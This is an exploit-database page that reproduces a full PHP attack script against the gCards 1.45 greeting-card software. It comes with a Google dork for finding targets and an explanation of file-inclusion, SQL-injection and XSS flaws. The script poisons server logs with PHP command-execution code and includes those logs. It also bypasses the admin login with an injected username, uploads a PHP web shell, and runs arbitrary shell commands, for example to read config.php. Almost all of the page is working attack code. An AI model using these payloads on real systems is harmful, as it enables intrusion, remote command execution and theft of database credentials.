Lucene search
K

gCards <= 1.45 Multiple Vulnerabilities All-In-One Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 12 Views

gCards <= 1.45 Multiple Vulnerabilities All-In-One Exploit. PHP-based gCards version 1.45 is vulnerable to arbitrary local file inclusion, SQL injection in admin authentication, and cross-site scripting (XSS) attacks

Code

                                                #!/usr/bin/php -q -d short_open_tag=on
&#60;?
echo &#34;gCards &#60;= 1.45 multiple vulnerabilities\r\n&#34;;
echo &#34;by rgod [email protected]\r\n&#34;;
echo &#34;site: http://retrogod.altervista.org\r\n\r\n&#34;;
echo &#34;Sun-Tzu:\&#34;At first, then, exhibit the coyness of a maiden, until the\r\n&#34;;
echo &#34;enemy gives you an opening; afterwards emulate the rapidity of a\r\n&#34;;
echo &#34;running hare, and it will be too late for the enemy to oppose you.\&#34;\r\n&#34;;

echo &#34;dork: \&#34;powered by gcards\&#34;\r\n\r\n&#34;;

/*

explaination:
software site: http://www.gregphoto.net/gcards/index.php

i) vulnerable code in inc/setLang.php:

&#60;?
	if ($page-&#62;languageredirect == $_SERVER[&#39;PHP_SELF&#39;]) {
		if (isset($_GET[&#39;setLang&#39;])) $_SESSION[&#39;setLang&#39;] = $_GET[&#39;setLang&#39;];
	}

	$langFile = $page-&#62;relpath.&#39;inc/lang/&#39;.$lang[$_SESSION[&#39;setLang&#39;]][&#39;file&#39;];

	if (file_exists($langFile)) {
		include_once($langFile);
	}
	else {
		echo &#34;Could not find language file $langFile&#34;;
	}
?&#62;

this code is included by main script, so ... arbitrary local inclusion, poc:

http://[target]/[path]/index.php?setLang=suntzu&lang[suntzu][file]=../../../../../../../../../../../var/log/httpd/access_log

this works regardless of any magic_quotes_gpc settings, apart open_basedir
restrictions obviously

ii) also we have SQL injection in admin authentication procedure, admin/loginfunction.php
at lines 28-38:

...
	$username = $_POST[&#39;username&#39;];
	$userpass = $_POST[&#39;userpass&#39;];
	if ($username && $userpass)
	{
		include(&#39;../inc/adodb/adodb.inc.php&#39;);	   # load code common to ADOdb
		include(&#39;../config.php&#39;);
		$ADODB_FETCH_MODE = ADODB_FETCH_ASSOC;
		$conn = &ADONewConnection(&#39;mysql&#39;);	# create a connection
		$conn-&#62;Connect($dbhost,$dbuser,$dbpass,$dbdatabase);
		$pass = md5($userpass);
		$sqlstmt = &#34;SELECT role FROM &#34;.$tablePrefix.&#34;cardusers WHERE username=&#39;$username&#39; AND userpass=&#39;$pass&#39;&#34;;
...

login as admin typing:

username: &#39;or&#39;suntzu&#39;=&#39;suntzu&#39;/*
password: [whatever]

this works with magic_quotes_gpc=Off

once you are admin, you can upload php files, files are renamed but gcards keep
php extension, so you can launch commands from them

iii)xss:

http://[target]/[path]/index.php?setLang=suntzu&lang[suntzu][file]=%3Cscript%3Ealert(document.cookie)%3C/script%3E

this exploit does the dirty work for i) and ii)

                                                                              */
if ($argc&#60;5) {
echo &#34;Usage: php &#34;.$argv[0].&#34; host path action cmd OPTIONS\r\n&#34;;
echo &#34;host:      target server (ip/hostname)\r\n&#34;;
echo &#34;path:      path to gcards\r\n&#34;;
echo &#34;action:    1 - launch commands through arbitrary local inclusion\r\n&#34;;
echo &#34;               (no php.ini restriction)\r\n&#34;;
echo &#34;           2 - launch commands through sql injection/admin auth bypass\r\n&#34;;
echo &#34;               (works with magic_quotes_gpc = Off\r\n&#34;;
echo &#34;cmd:       a shell command\r\n&#34;;
echo &#34;Options:\r\n&#34;;
echo &#34;   -p[port]:    specify a port other than 80\r\n&#34;;
echo &#34;   -P[ip:port]: specify a proxy\r\n&#34;;
echo &#34;Examples:\r\n&#34;;
echo &#34;php &#34;.$argv[0].&#34; localhost /gcards/ 2 cat ./../config.php\r\n&#34;;
echo &#34;php &#34;.$argv[0].&#34; localhost /gcards/ 1 cat config.php\r\n&#34;;
echo &#34;php &#34;.$argv[0].&#34; localhost /gcards/ 1 cat config.php -p81\r\n&#34;;
echo &#34;php &#34;.$argv[0].&#34; localhost /gcards/ 1 cat config.php -P1.1.1.1:80\r\n&#34;;
die;
}

error_reporting(0);
ini_set(&#34;max_execution_time&#34;,0);
ini_set(&#34;default_socket_timeout&#34;,5);

function quick_dump($string)
{
  $result=&#39;&#39;;$exa=&#39;&#39;;$cont=0;
  for ($i=0; $i&#60;=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) &#60;= 32 ) | (ord($string[$i]) &#62; 126 ))
   {$result.=&#34;  .&#34;;}
   else
   {$result.=&#34;  &#34;.$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=&#34; &#34;.dechex(ord($string[$i]));}
   else
   {$exa.=&#34; 0&#34;.dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.=&#34;\r\n&#34;; $exa.=&#34;\r\n&#34;;}
  }
 return $exa.&#34;\r\n&#34;.$result;
}
$proxy_regex = &#39;(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)&#39;;
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy==&#39;&#39;) {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo &#39;No response from &#39;.$host.&#39;:&#39;.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo &#39;Not a valid proxy...&#39;;die;
    }
    $parts=explode(&#39;:&#39;,$proxy);
    echo &#34;Connecting to &#34;.$parts[0].&#34;:&#34;.$parts[1].&#34; proxy...\r\n&#34;;
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo &#39;No response from proxy...&#39;;die;
	}
  }
  fputs($ock,$packet);
  if ($proxy==&#39;&#39;) {
    $html=&#39;&#39;;
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html=&#39;&#39;;
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo &#34;\r\n&#34;.$html;
}

function make_seed()
{
   list($usec, $sec) = explode(&#39; &#39;, microtime());
   return (float) $sec + ((float) $usec * 100000);
}

$host=$argv[1];
$path=$argv[2];
$action=$argv[3];
$cmd=&#34;&#34;;$port=80;$proxy=&#34;&#34;;

for ($i=4; $i&#60;=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp&#60;&#62;&#34;-p&#34;) and ($temp&#60;&#62;&#34;-P&#34;))
{$cmd.=&#34; &#34;.$argv[$i];}
if ($temp==&#34;-p&#34;)
{
  $port=str_replace(&#34;-p&#34;,&#34;&#34;,$argv[$i]);
}
if ($temp==&#34;-P&#34;)
{
  $proxy=str_replace(&#34;-P&#34;,&#34;&#34;,$argv[$i]);
}
}
$cmd=urlencode($cmd);

if (($path[0]&#60;&#62;&#39;/&#39;) or ($path[strlen($path)-1]&#60;&#62;&#39;/&#39;)) {echo &#39;Error... check the path!&#39;; die;}
if ($proxy==&#39;&#39;) {$p=$path;} else {$p=&#39;http://&#39;.$host.&#39;:&#39;.$port.$path;}

echo &#34;action selected -&#62; &#34;.$action.&#34;\r\n&#34;;
if ($action==&#34;1&#34;)
{
  echo &#34;[1] Injecting some code in log files...\r\n&#34;;
  $CODE =&#39;&#60;?php ob_clean();echo 666;if (get_magic_quotes_gpc()) {$_GET[cmd]=striplashes($_GET[cmd]);}&#39;;
  $CODE.=&#39;passthru($_GET[cmd]);echo 666;die;?&#62;&#39;;
  $packet.=&#34;GET &#34;.$p.$CODE.&#34; HTTP/1.1\r\n&#34;;
  $packet.=&#34;User-Agent: &#34;.$CODE.&#34;\r\n&#34;;
  $packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
  $packet.=&#34;Connection: close\r\n\r\n&#34;;
  #debug
  #echo quick_dump($packet);
  sendpacketii($packet);

  # fill with possible locations
  $paths= array (
  &#34;../../../../../../../../../../var/log/httpd/access_log&#34;,
  &#34;../../../../../../../../../../var/log/httpd/error_log&#34;,
  &#34;../apache/logs/error.log&#34;,
  &#34;../apache/logs/access.log&#34;,
  &#34;../../apache/logs/error.log&#34;,
  &#34;../../apache/logs/access.log&#34;,
  &#34;../../../apache/logs/error.log&#34;,
  &#34;../../../apache/logs/access.log&#34;,
  &#34;../../../../apache/logs/error.log&#34;,
  &#34;../../../../apache/logs/access.log&#34;,
  &#34;../../../../../../../../../../etc/httpd/logs/acces_log&#34;,
  &#34;../../../../../../../../../../etc/httpd/logs/acces.log&#34;,
  &#34;../../../../../../../../../../etc/httpd/logs/error_log&#34;,
  &#34;../../../../../../../../../../etc/httpd/logs/error.log&#34;,
  &#34;../../../../../../../../../../var/www/logs/access_log&#34;,
  &#34;../../../../../../../../../../var/www/logs/access.log&#34;,
  &#34;../../../../../../../../../../usr/local/apache/logs/access_log&#34;,
  &#34;../../../../../../../../../../usr/local/apache/logs/access.log&#34;,
  &#34;../../../../../../../../../../var/log/apache/access_log&#34;,
  &#34;../../../../../../../../../../var/log/apache/access.log&#34;,
  &#34;../../../../../../../../../../var/log/access_log&#34;,
  &#34;../../../../../../../../../../var/www/logs/error_log&#34;,
  &#34;../../../../../../../../../../var/www/logs/error.log&#34;,
  &#34;../../../../../../../../../../usr/local/apache/logs/error_log&#34;,
  &#34;../../../../../../../../../../usr/local/apache/logs/error.log&#34;,
  &#34;../../../../../../../../../../var/log/apache/error_log&#34;,
  &#34;../../../../../../../../../../var/log/apache/error.log&#34;,
  &#34;../../../../../../../../../../var/log/access_log&#34;,
  &#34;../../../../../../../../../../var/log/error_log&#34;
  );

  for ($i=0; $i&#60;=count($paths)-1; $i++)
  {
    $j=$i+2;
    echo &#34;[&#34;.$j.&#34;] Trying with &#34;.$paths[$i].&#34;\r\n&#34;;
    $xpl=urlencode($paths[$i]);
    $packet =&#34;GET &#34;.$p.&#34;index.php?cmd=&#34;.$cmd.&#34;&setLang=suntzu&lang[suntzu][file]=&#34;.$xpl.&#34; HTTP/1.0\r\n&#34;;
    $packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
    $packet.=&#34;Connection: Close\r\n\r\n&#34;;
    #debug, shows packets in a nice format
    #echo quick_dump($packet);
    sendpacketii($packet);

    if (strstr($html,&#34;666&#34;)){
      echo &#34;Exploit succeeded...\r\n&#34;;
      $temp=explode(&#34;666&#34;,$html);
      echo $temp[1];
      die;
    }
  }

}
else
if ($action==&#34;2&#34;)
{   echo &#34;[1] Injecting some SQL statements in admin login username field...\r\n&#34;;
    $sql=urlencode(&#34;&#39;or&#39;suntzu&#39;=&#39;suntzu&#39;/*&#34;);
    $data=&#34;username=&#34;.$sql;
    $data.=&#34;&userpass=suntzu&#34;;
    $packet =&#34;POST &#34;.$p.&#34;admin/admin.php HTTP/1.1\r\n&#34;;
    $packet.=&#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
    $packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
    $packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
    $packet.=&#34;Connection: Close\r\n\r\n&#34;;
    $packet.=$data;
    #echo quick_dump($packet);
    sendpacketii($packet);
    if (strstr($html,&#34;gCards Administration Console&#34;))
    {echo &#34;Sql injection succeeded...\r\n&#34;;}
    else
    {die(&#34;Not succeeded, maybe we have magic_quotes_gpc on here...\r\n&#34;);}
    $temp=explode(&#34;Set-Cookie: &#34;,$html);
    $temp2=explode(&#34; &#34;,$temp[1]);
    $cookie=$temp2[0];
    echo &#34;Cookie -&#62; &#34;.$cookie.&#34;\r\n&#34;;
    echo &#34;[2] Let&#39;s retrieve a category name to upload a file in ...\r\n&#34;;
    $packet =&#34;GET &#34;.$p.&#34;admin/cards.php HTTP/1.1\r\n&#34;;
    $packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
    $packet.=&#34;Cookie: &#34;.$cookie.&#34;\r\n&#34;;
    $packet.=&#34;Connection: Close\r\n\r\n&#34;;
    #echo quick_dump($packet);
    sendpacketii($packet);
    $temp=explode(&#34;&#60;option value=\&#34;&#34;,$html);
    $temp2=explode(&#34;\&#34;&#34;,$temp[1]);
    $catid=$temp2[0];
    echo &#34;catid -&#62; &#34;.$catid.&#34;\r\n&#34;;
    if ($catid==&#34;&#34;) {$catid=1;}
    echo &#34;[3] Uploading a php file...\r\n&#34;;
$data=&#39;-----------------------------7d613b1d0448
Content-Disposition: form-data; name=&#34;MAX_FILE_SIZE&#34;

250000
-----------------------------7d613b1d0448
Content-Disposition: form-data; name=&#34;cardname&#34;

suntzu
-----------------------------7d613b1d0448
Content-Disposition: form-data; name=&#34;catid&#34;

&#39;.$catid.&#39;
-----------------------------7d613b1d0448
Content-Disposition: form-data; name=&#34;userfile&#34;; filename=&#34;suntzu.php&#34;
Content-Type: application/octet-stream

&#60;?php echo 666;ini_set(&#34;max_execution_time&#34;,0);passthru($_GET[cmd]);echo 666;?&#62;
-----------------------------7d613b1d0448
Content-Disposition: form-data; name=&#34;userthumb&#34;; filename=&#34;suntzu.php&#34;
Content-Type: application/octet-stream

&#60;?php echo 666;ini_set(&#34;max_execution_time&#34;,0);passthru($_GET[cmd]);echo 666;?&#62;
-----------------------------7d613b1d0448
Content-Disposition: form-data; name=&#34;submit&#34;

Upload
-----------------------------7d613b1d0448
&#39;;
    $packet =&#34;POST &#34;.$p.&#34;admin/upload.php HTTP/1.1\r\n&#34;;
    $packet.=&#34;Content-Type: multipart/form-data; boundary=---------------------------7d613b1d0448\r\n&#34;;
    $packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
    $packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
    $packet.=&#34;Connection: Close\r\n&#34;;
    $packet.=&#34;Cookie: &#34;.$cookie.&#34;\r\n\r\n&#34;;
    $packet.=$data;
    #echo quick_dump($packet);
    sendpacketii($packet);
    if (strstr($html,&#34;successfully&#34;))
    {echo &#34;Succeeded...\r\n&#34;;}
    else
    {die(&#34;For some reason...Not succeeded\r\n&#34;);}
    echo &#34;[4] Let&#39;s retrieve the new filename ...\r\n&#34;;
    $packet =&#34;GET &#34;.$p.&#34;admin/cards.php HTTP/1.1\r\n&#34;;
    $packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
    $packet.=&#34;Cookie: &#34;.$cookie.&#34;\r\n&#34;;
    $packet.=&#34;Connection: Close\r\n\r\n&#34;;
    #echo quick_dump($packet);
    sendpacketii($packet);
    $temp=explode(&#34;suntzu.php&#34;,$html);
    $temp2=explode(&#34;&#60;td&#62;&#34;,$temp[count($temp)-2]);
    $temp=$temp2[count($temp2)-1];
    $newfile=$temp.&#34;suntzu.php&#34;;
    if ($newfile==&#34;&#34;) {die(&#34;For some reason, exploit failed...&#34;);}
    echo &#34;File renamed to: &#34;.$newfile.&#34;\r\n&#34;;
    echo &#34;[5] Launch commands ...\r\n&#34;;
    $packet =&#34;GET &#34;.$p.&#34;images/&#34;.$newfile.&#34;?cmd=&#34;.$cmd.&#34; HTTP/1.1\r\n&#34;;
    $packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
    $packet.=&#34;Connection: Close\r\n\r\n&#34;;
    #echo quick_dump($packet);
    sendpacketii($packet);
    if (strstr($html,&#34;666&#34;))
     {
       echo &#34;Exploit succeeded...\r\n&#34;;
       $temp=explode(&#34;666&#34;,$html);
       echo $temp[1];
       die;
     }
}
else
{die (&#34;Wrong action...\r\n&#34;);}
//if you are here...
echo &#34;Exploit failed...\r\n&#34;;
?&#62;

# milw0rm.com [2006-03-20]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation